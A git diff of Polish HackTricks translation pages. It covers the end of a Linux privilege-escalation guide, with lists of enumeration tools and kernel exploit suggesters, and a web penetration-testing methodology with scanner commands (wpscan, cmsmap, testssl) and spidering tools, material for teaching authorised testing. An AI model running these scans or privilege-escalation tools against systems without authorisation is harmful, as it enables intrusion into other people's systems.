Z kolei `/etc/init` jest związane z **Upstart**, nowszym **systemem zarządzania usługami** wprowadzonym przez Ubuntu, używającym plików konfiguracyjnych do zadań zarządzania usługami. Pomimo przejścia na Upstart, skrypty SysVinit są wciąż wykorzystywane obok konfiguracji Upstart dzięki warstwie kompatybilności w Upstart.
|
||||||
|
|
||||||
**systemd** pojawia się jako nowoczesny inicjalizator i menedżer usług, oferujący zaawansowane funkcje, takie jak uruchamianie demona na żądanie, zarządzanie automatycznym montowaniem i tworzenie migawek stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucyjnych i `/etc/systemd/system/` dla modyfikacji administratora, usprawniając proces administracji systemem.
|
**systemd** pojawia się jako nowoczesny inicjalizator i menedżer usług, oferujący zaawansowane funkcje takie jak uruchamianie demona na żądanie, zarządzanie automatycznym montowaniem i tworzenie migawek stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucyjnych i `/etc/systemd/system/` dla modyfikacji administratora, usprawniając proces administracji systemem.
|
||||||
|
|
||||||
|
## Inne Triki
|
||||||
|
|
||||||
|
### Eskalacja uprawnień NFS
|
||||||
|
|
||||||
|
{% content-ref url="nfs-no_root_squash-misconfiguration-pe.md" %}
|
||||||
|
[nfs-no\_root\_squash-misconfiguration-pe.md](nfs-no\_root\_squash-misconfiguration-pe.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
### Ucieczka z ograniczonych powłok
|
||||||
|
|
||||||
|
{% content-ref url="escaping-from-limited-bash.md" %}
|
||||||
|
[escaping-from-limited-bash.md](escaping-from-limited-bash.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
### Cisco - vmanage
|
||||||
|
|
||||||
|
{% content-ref url="cisco-vmanage.md" %}
|
||||||
|
[cisco-vmanage.md](cisco-vmanage.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Zabezpieczenia jądra
|
||||||
|
|
||||||
|
* [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
|
||||||
|
* [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map)
|
||||||
|
|
||||||
|
## Więcej pomocy
|
||||||
|
|
||||||
|
[Statyczne binaria impacket](https://github.com/ropnop/impacket\_static\_binaries)
|
||||||
|
|
||||||
|
## Narzędzia do eskalacji uprawnień w Linuxie/Unixie
|
||||||
|
|
||||||
|
### **Najlepsze narzędzie do szukania wektorów eskalacji uprawnień lokalnych w Linuxie:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||||
|
|
||||||
|
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\
|
||||||
|
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
|
||||||
|
**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
|
||||||
|
**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
|
||||||
|
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
|
||||||
|
**Kernelpop:** Wyliczanie podatności jądra w systemach Linux i MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
|
||||||
|
**Mestaploit:** _**multi/recon/local\_exploit\_suggester**_\
|
||||||
|
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
|
||||||
|
**EvilAbigail (dostęp fizyczny):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||||
|
**Kompilacja więcej skryptów**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||||||
|
|
||||||
|
## Referencje
|
||||||
|
|
||||||
|
* [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\
|
||||||
|
* [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\
|
||||||
|
* [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\\
|
||||||
|
* [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\\
|
||||||
|
* [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\\
|
||||||
|
* [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\\
|
||||||
|
* [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\\
|
||||||
|
* [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\\
|
||||||
|
* [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i)
|
||||||
|
* [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/)
|
||||||
|
* [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html)
|
||||||
|
* [https://www.linuxjournal.com/article/7744](https://www.linuxjournal.com/article/7744)
|
||||||
|
* [https://blog.certcube.com/suid-executables-linux-privilege-escalation/](https://blog.certcube.com/suid-executables-linux-privilege-escalation/)
|
||||||
|
* [https://juggernaut-sec.com/sudo-part-2-lpe](https://juggernaut-sec.com/sudo-part-2-lpe)
|
||||||
|
* [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux)
|
||||||
|
* [https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||||
|
* [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
|
||||||
|
|
|
@ -1,30 +1,30 @@
|
||||||
# 80,443 - Metodologia testowania penetracyjnego stron internetowych
|
# 80,443 - Metodologia testowania penetracyjnego aplikacji internetowych
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Zacznij naukę hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną na HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno pisemna, jak i mówiona_).
|
Jeśli interesuje Cię **kariera w dziedzinie hakerstwa** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno pisanego, jak i mówionego_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
## Podstawowe informacje
|
## Podstawowe informacje
|
||||||
|
|
||||||
Usługa internetowa jest najbardziej **powszechną i obszerną usługą**, a istnieje wiele **różnych rodzajów podatności**.
|
Usługa internetowa jest najbardziej **powszechną i rozległą usługą**, w której istnieje wiele **różnych rodzajów podatności**.
|
||||||
|
|
||||||
**Port domyślny:** 80 (HTTP), 443(HTTPS)
|
**Domyślny port:** 80 (HTTP), 443(HTTPS)
|
||||||
```bash
|
```bash
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
80/tcp open http
|
80/tcp open http
|
||||||
|
@ -43,20 +43,20 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||||
|
|
||||||
## Podsumowanie metodologii
|
## Podsumowanie metodologii
|
||||||
|
|
||||||
> W tej metodologii zakładamy, że atakujesz domenę (lub subdomenę) i tylko nią. Dlatego powinieneś zastosować tę metodologię do każdej odkrytej domeny, subdomeny lub IP z nieokreślonym serwerem sieci web w zakresie.
|
> W tej metodologii zakładamy, że atakujesz domenę (lub subdomenę) i tylko nią. Dlatego powinieneś zastosować tę metodologię do każdej odkrytej domeny, subdomeny lub IP z nieokreślonym serwerem WWW w zakresie.
|
||||||
|
|
||||||
* [ ] Zacznij od **identyfikacji** używanych przez serwer sieci web **technologii**. Szukaj **sztuczek**, które warto zapamiętać podczas reszty testu, jeśli uda ci się pomyślnie zidentyfikować technologię.
|
* [ ] Zacznij od **identyfikacji** używanych przez serwer WWW **technologii**. Szukaj **sztuczek**, które warto zapamiętać podczas reszty testu, jeśli uda ci się pomyślnie zidentyfikować technologię.
|
||||||
* [ ] Czy istnieje **znana podatność** wersji tej technologii?
|
* [ ] Czy istnieje **znana podatność** wersji tej technologii?
|
||||||
* [ ] Czy używana jest **jakakolwiek znana technologia**? Czy istnieje **przydatna sztuczka** do pozyskania dodatkowych informacji?
|
* [ ] Czy używana jest **jakakolwiek znana technologia**? Czy istnieje **przydatna sztuczka** do pozyskania dodatkowych informacji?
|
||||||
* [ ] Czy istnieje **specjalistyczne narzędzie skanujące** do uruchomienia (np. wpscan)?
|
* [ ] Czy istnieje **specjalistyczne narzędzie skanujące** do uruchomienia (np. wpscan)?
|
||||||
* [ ] Uruchom **skanery ogólnego przeznaczenia**. Nigdy nie wiesz, czy znajdą coś interesującego.
|
* [ ] Uruchom **skanery ogólnego przeznaczenia**. Nigdy nie wiesz, czy znajdą coś interesującego.
|
||||||
* [ ] Rozpocznij od **początkowych sprawdzeń**: **robots.txt**, **mapa witryny (sitemap)**, błąd **404** i skan **SSL/TLS** (jeśli jest HTTPS).
|
* [ ] Rozpocznij od **początkowych sprawdzeń**: **robots.txt**, **mapa witryny (sitemap)**, błąd **404** i skan **SSL/TLS** (jeśli HTTPS).
|
||||||
* [ ] Rozpocznij **przeglądanie strony**: Czas znaleźć wszystkie możliwe **pliki, foldery** i **parametry** używane na stronie. Sprawdź również **specjalne znaleziska**.
|
* [ ] Rozpocznij **indeksowanie** strony internetowej: Czas **odnaleźć** wszystkie możliwe **pliki, foldery** i **parametry używane**. Sprawdź również **specjalne znaleziska**.
|
||||||
* [ ] _Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas prób siłowych lub przeglądania strony, należy go przeglądać._
|
* [ ] _Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas prób siłowych lub indeksowania, powinieneś go zindeksować._
|
||||||
* [ ] **Próba siłowa katalogów**: Spróbuj siłowo przejrzeć wszystkie odkryte foldery w poszukiwaniu nowych **plików** i **katalogów**.
|
* [ ] **Siłowe przeszukiwanie katalogów**: Spróbuj siłowo przeszukać wszystkie odkryte foldery w poszukiwaniu nowych **plików** i **katalogów**.
|
||||||
* [ ] _Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas prób siłowych lub przeglądania strony, należy go próbować siłowo przejrzeć._
|
* [ ] _Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas prób siłowych lub indeksowania, powinieneś go siłowo przeszukać._
|
||||||
* [ ] **Sprawdzanie kopii zapasowych**: Sprawdź, czy można znaleźć **kopie zapasowe** odkrytych plików, dodając powszechne rozszerzenia kopii zapasowych.
|
* [ ] **Sprawdzanie kopii zapasowych**: Sprawdź, czy można znaleźć **kopie zapasowe** odkrytych plików, dodając powszechne rozszerzenia kopii zapasowych.
|
||||||
* [ ] **Próba siłowa parametrów**: Spróbuj **odnaleźć ukryte parametry**.
|
* [ ] **Siłowe przeszukiwanie parametrów**: Spróbuj **odnaleźć ukryte parametry**.
|
||||||
* [ ] Gdy zidentyfikujesz wszystkie możliwe **punkty końcowe** akceptujące **dane użytkownika**, sprawdź wszelkie rodzaje **podatności** z nimi związane.
|
* [ ] Gdy zidentyfikujesz wszystkie możliwe **punkty końcowe** akceptujące **dane użytkownika**, sprawdź wszelkie rodzaje **podatności** z nimi związane.
|
||||||
* [ ] [Postępuj zgodnie z tą listą kontrolną](../../pentesting-web/web-vulnerabilities-methodology.md)
|
* [ ] [Postępuj zgodnie z tą listą kontrolną](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||||
|
|
||||||
|
@ -117,11 +117,11 @@ Kilka **trików** do **znajdowania podatności** w różnych znanych **technolog
|
||||||
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
|
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
|
||||||
|
|
||||||
_Miej na uwadze, że **ta sama domena** może używać **różnych technologii** na różnych **portach**, **folderach** i **subdomenach**._\
|
_Miej na uwadze, że **ta sama domena** może używać **różnych technologii** na różnych **portach**, **folderach** i **subdomenach**._\
|
||||||
Jeśli aplikacja internetowa używa **jakiejkolwiek znanej technologii/platformy wymienionej wcześniej** lub **innej**, nie zapomnij **szukać w Internecie** nowych trików (i daj mi znać!).
|
Jeśli aplikacja internetowa używa jakiejkolwiek znanej **technologii/platformy wymienionej wcześniej** lub **innej**, nie zapomnij **szukać w Internecie** nowych trików (i daj mi znać!).
|
||||||
|
|
||||||
### Przegląd kodu źródłowego
|
### Przegląd kodu źródłowego
|
||||||
|
|
||||||
Jeśli **kod źródłowy** aplikacji jest dostępny w **github**, oprócz przeprowadzenia **testu White box** aplikacji samodzielnie, istnieje **kilka informacji**, które mogą być **przydatne** dla obecnego **testu Black-Box**:
|
Jeśli **kod źródłowy** aplikacji jest dostępny w **github**, oprócz przeprowadzenia **testu White box** aplikacji na własną rękę, istnieje **kilka informacji**, które mogą być **przydatne** do obecnego **testu Black-Box**:
|
||||||
|
|
||||||
* Czy istnieje **dziennik zmian lub plik Readme lub informacje o wersji dostępne** przez sieć?
|
* Czy istnieje **dziennik zmian lub plik Readme lub informacje o wersji dostępne** przez sieć?
|
||||||
* Jak i gdzie są zapisane **dane uwierzytelniające**? Czy istnieje (dostępny?) **plik** z danymi uwierzytelniającymi (nazwy użytkowników lub hasła)?
|
* Jak i gdzie są zapisane **dane uwierzytelniające**? Czy istnieje (dostępny?) **plik** z danymi uwierzytelniającymi (nazwy użytkowników lub hasła)?
|
||||||
|
@ -152,11 +152,11 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
||||||
|
|
||||||
Jeśli jest używany CMS, nie zapomnij **uruchomić skanera**, być może znajdziesz coś ciekawego:
|
Jeśli jest używany CMS, nie zapomnij **uruchomić skanera**, być może znajdziesz coś ciekawego:
|
||||||
|
|
||||||
- [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||||
- [**CMSScan**](https://github.com/ajinabraham/CMSScan): Skanowanie witryn [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** pod kątem problemów zabezpieczeń. (GUI)\
|
[**CMSScan**](https://github.com/ajinabraham/CMSScan): Strony internetowe [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** w poszukiwaniu problemów zabezpieczeń. (GUI)\
|
||||||
- [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
|
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
|
||||||
- **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **lub** [**(M)oodle**](moodle.md)\
|
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **lub** [**(M)oodle**](moodle.md)\
|
||||||
- [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||||
```bash
|
```bash
|
||||||
cmsmap [-f W] -F -d <URL>
|
cmsmap [-f W] -F -d <URL>
|
||||||
wpscan --force update -e --url <URL>
|
wpscan --force update -e --url <URL>
|
||||||
|
@ -182,12 +182,12 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||||
|
|
||||||
**Wymuszanie błędów**
|
**Wymuszanie błędów**
|
||||||
|
|
||||||
Serwery WWW mogą **zachowywać się niespodziewanie**, gdy do nich wysyłane są dziwne dane. Może to otworzyć **luki w zabezpieczeniach** lub **ujawnić wrażliwe informacje**.
|
Serwery WWW mogą **zachowywać się niespodziewanie**, gdy do nich wysyłane są dziwne dane. Może to otworzyć **luki w zabezpieczeniach** lub **ujawnić poufne informacje**.
|
||||||
|
|
||||||
* Dostęp do **fałszywych stron**, takich jak /cokolwiek\_fake.php (.aspx,.html,.itp)
|
* Otwórz **fałszywe strony** takie jak /cokolwiek\_fake.php (.aspx,.html,.itp)
|
||||||
* Dodaj "\[]", "]]" i "\[\[" w **wartościach ciasteczka** i **wartościach parametrów** aby wywołać błędy
|
* Dodaj "\[]", "]]" i "\[\[" w **wartościach ciasteczka** i **wartościach parametrów** aby wywołać błędy
|
||||||
* Wygeneruj błąd, podając dane wejściowe jako **`/~randomthing/%s`** na **końcu** **URL**
|
* Wygeneruj błąd, wpisując dane wejściowe jako **`/~randomthing/%s`** na **końcu** **URL**
|
||||||
* Spróbuj użyć **różnych czasowników HTTP**, takich jak PATCH, DEBUG lub błędny, np. FAKE
|
* Spróbuj użyć **różnych czasowników HTTP** takich jak PATCH, DEBUG lub błędny, np. FAKE
|
||||||
|
|
||||||
#### **Sprawdź, czy możesz przesyłać pliki (**[**metoda PUT, WebDav**](put-method-webdav.md)**)**
|
#### **Sprawdź, czy możesz przesyłać pliki (**[**metoda PUT, WebDav**](put-method-webdav.md)**)**
|
||||||
|
|
||||||
|
@ -196,12 +196,12 @@ Jeśli odkryjesz, że **WebDav** jest **włączony**, ale nie masz wystarczając
|
||||||
* **Próbuj zgadywać** dane uwierzytelniające
|
* **Próbuj zgadywać** dane uwierzytelniające
|
||||||
* **Prześlij pliki** za pomocą WebDav do **pozostałych znalezionych folderów** na stronie internetowej. Możesz mieć uprawnienia do przesyłania plików do innych folderów.
|
* **Prześlij pliki** za pomocą WebDav do **pozostałych znalezionych folderów** na stronie internetowej. Możesz mieć uprawnienia do przesyłania plików do innych folderów.
|
||||||
|
|
||||||
### **Luki w SSL/TLS**
|
### **Układy SSL/TLS**
|
||||||
|
|
||||||
* Jeśli aplikacja **nie wymusza użycia HTTPS** w żadnej części, to jest **podatna na ataki typu MitM**
|
* Jeśli aplikacja **nie wymusza użycia HTTPS** w żadnej części, to jest **podatna na atak typu MitM**
|
||||||
* Jeśli aplikacja **wysyła wrażliwe dane (hasła) za pomocą HTTP**. To jest wysokie ryzyko.
|
* Jeśli aplikacja **wysyła poufne dane (hasła) za pomocą protokołu HTTP**. To jest wysokie ryzyko.
|
||||||
|
|
||||||
Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) do sprawdzania **luk w zabezpieczeniach** (W programach Bug Bounty prawdopodobnie tego rodzaju luki nie będą akceptowane) i użyj [**a2sv** ](https://github.com/hahwul/a2sv) do ponownego sprawdzenia luk w zabezpieczeniach:
|
Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) do sprawdzania **luk w zabezpieczeniach** (W programach Bug Bounty prawdopodobnie tego typu luki nie będą akceptowane) i użyj [**a2sv** ](https://github.com/hahwul/a2sv) do ponownego sprawdzenia podatności:
|
||||||
```bash
|
```bash
|
||||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||||
#Use the --htmlfile to save the output inside an htmlfile also
|
#Use the --htmlfile to save the output inside an htmlfile also
|
||||||
|
@ -210,22 +210,22 @@ Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) do sprawdzania **
|
||||||
sslscan <host:port>
|
sslscan <host:port>
|
||||||
sslyze --regular <ip:port>
|
sslyze --regular <ip:port>
|
||||||
```
|
```
|
||||||
Informacje o podatnościach SSL/TLS:
|
Informacje dotyczące podatności SSL/TLS:
|
||||||
|
|
||||||
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||||
* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||||
|
|
||||||
### Spidering
|
### Spidering
|
||||||
|
|
||||||
Uruchom jakiegoś rodzaju **pająka** w sieci. Celem pająka jest **znalezienie jak najwięcej ścieżek** w teście aplikacji. Dlatego należy wykorzystać przeszukiwanie sieci i zewnętrzne źródła, aby znaleźć jak najwięcej prawidłowych ścieżek.
|
Uruchom pewnego rodzaju **pająka** w sieci. Celem pająka jest **znalezienie jak największej liczby ścieżek** w testowanej aplikacji. Dlatego należy wykorzystać przeszukiwanie sieci i zewnętrzne źródła, aby znaleźć jak najwięcej prawidłowych ścieżek.
|
||||||
|
|
||||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): Pająk HTML, LinkFinder w plikach JS i zewnętrzne źródła (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
* [**gospider**](https://github.com/jaeles-project/gospider) (go): Pająk HTML, LinkFinder w plikach JS i zewnętrzne źródła (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Pająk HML, z LinkFider dla plików JS i Archive.org jako zewnętrzne źródło.
|
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Pająk HML, z LinkFider dla plików JS i Archive.org jako zewnętrzne źródło.
|
||||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Pająk HTML, wskazuje również "soczyste pliki".
|
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Pająk HTML, wskazuje również "soczyste pliki".
|
||||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny pająk HTML w wierszu poleceń. Szuka również w Archive.org
|
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny pająk HTML w wierszu poleceń. Szuka również w Archive.org.
|
||||||
* [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest pająkiem, ale może być przydatne. Możesz po prostu wskazać plik z hostami i plik z ścieżkami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź.
|
* [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest pająkiem, ale może być przydatne. Wystarczy wskazać plik z hostami i plik z ścieżkami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź.
|
||||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Pająk HTML z możliwościami renderowania JS. Jednak wygląda na to, że nie jest rozwijany, skompilowana wersja jest stara, a obecny kod nie kompiluje się.
|
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Pająk HTML z możliwościami renderowania JS. Jednak wygląda na to, że nie jest rozwijany, skompilowana wersja jest stara, a obecny kod nie kompiluje się.
|
||||||
* [**gau**](https://github.com/lc/gau) (go): Pająk HTML korzystający z zewnętrznych dostawców (wayback, otx, commoncrawl)
|
* [**gau**](https://github.com/lc/gau) (go): Pająk HTML korzystający z zewnętrznych dostawców (wayback, otx, commoncrawl).
|
||||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ten skrypt znajdzie adresy URL z parametrami i je wymieni.
|
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ten skrypt znajdzie adresy URL z parametrami i je wymieni.
|
||||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): Pająk HTML z możliwościami renderowania JS.
|
* [**galer**](https://github.com/dwisiswant0/galer) (go): Pająk HTML z możliwościami renderowania JS.
|
||||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Pająk HTML, z możliwościami upiększania JS zdolny do wyszukiwania nowych ścieżek w plikach JS. Warto również spojrzeć na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest nakładką na LinkFinder.
|
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Pająk HTML, z możliwościami upiększania JS zdolny do wyszukiwania nowych ścieżek w plikach JS. Warto również spojrzeć na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest nakładką na LinkFinder.
|
||||||
|
@ -234,25 +234,26 @@ Uruchom jakiegoś rodzaju **pająka** w sieci. Celem pająka jest **znalezienie
|
||||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dla danego pliku (HTML) wyodrębni adresy URL z niego, używając sprytnego wyrażenia regularnego do znalezienia i wyodrębnienia względnych adresów URL z brzydkich (zmniejszonych) plików.
|
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dla danego pliku (HTML) wyodrębni adresy URL z niego, używając sprytnego wyrażenia regularnego do znalezienia i wyodrębnienia względnych adresów URL z brzydkich (zmniejszonych) plików.
|
||||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbiera interesujące informacje z plików JS za pomocą kilku narzędzi.
|
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbiera interesujące informacje z plików JS za pomocą kilku narzędzi.
|
||||||
* [**subjs**](https://github.com/lc/subjs) (go): Znajdź pliki JS.
|
* [**subjs**](https://github.com/lc/subjs) (go): Znajdź pliki JS.
|
||||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w przeglądarce bez interfejsu i drukuje wszystkie załadowane adresy URL, aby załadować stronę.
|
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w przeglądarce bez wyświetlania i drukuje wszystkie załadowane adresy URL do załadowania strony.
|
||||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do odkrywania treści łączące kilka opcji poprzednich narzędzi
|
